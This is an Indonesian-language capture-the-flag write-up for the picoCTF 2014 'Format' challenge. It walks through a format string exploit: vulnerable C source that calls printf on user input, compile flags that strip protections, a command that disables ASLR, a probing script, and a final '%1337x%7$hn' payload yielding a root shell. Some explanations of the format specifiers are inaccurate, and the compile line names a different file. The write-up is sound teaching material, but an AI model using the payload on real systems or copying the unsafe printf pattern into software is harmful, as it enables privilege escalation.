PICO CTF 2014: Format
Pendahuluan
Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada variabel yang salah menggunakan pointer dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.
Alat dan Bahan
Fail: format.c
Kompiler: GCC
Debugger: GDB
Sistem operasi: Ubuntu 14.04 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int secret = 0;
void give_shell(){
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
}
int main(int argc, char **argv){
int *ptr = &secret;
printf(argv[1]);
if (secret == 1337){
give_shell();
}
return 0;
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o overflow2 -ggdb overflow2.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Pengumpulan Infomasi
Jalankan program secara normal terlebih dahulu.
# ./format test
test
Program tersebut menerima argumen melalui command line.
Identifikasi Kelemahan
Untuk mencari kelemahan program langkah yang digunakan adalah dengan melakukan debugging pada variabel secret.
# format gdb -q format
Reading symbols from format...done.
>>> p &secret
$1 = (int *) 0x804a030 <secret>
>>>
Alamat variabel secret yang tersimpan dalam memori ini akan digunakan untuk memanggil nilainya pada argumen program.
Untuk mencari alamat memori yang diinginkan, teknik yang bisa dilakukan adalah dengan menggunakan string format.
#!/bin/bash
buffer=" %p"
for i in {1..8}
do
OUTPUT="$(./format "$buffer")"
if [[ $OUTPUT == *"0x804a030"* ]]; then
echo $i
echo $buffer
echo $OUTPUT
break
fi
buffer+=" %p"
done
Luaran:
# bash find_variable_address.sh
7
%p %p %p %p %p %p %p
0xffddacf4 0xffddad00 0xf755842d 0xf76cf3c4 0xf7736000 0x804852b 0x804a030
Eksploitasi
Berdasarkan identifikasi kelemahan posisi alamat variabel secret ada di posisi ketujuh. Untuk mengisi nilai secret yang ada di argumen ketujuh, gunakan string format berikut:
%1337x%7$hn
Penjelasan
1337
Nilai yang akan diinisiasi pada variabel secret
x%7
Lokasi variabel secret pada stack ketujuh
%n
Mengkonversi nilai 1337 yang awalnya string menjadi integer
$hn
Menulis nilai pada stack byte demi byte agar bisa diterima dengan baik
Untuk payload final yang digunakan adalah
./format "$(python -c 'import sys; sys.stdout.write("%1337x%7$hn")')"
Luaran:
./format "$(python -c 'import sys; sys.stdout.write("%1337x%7$hn")')"
# whoami
root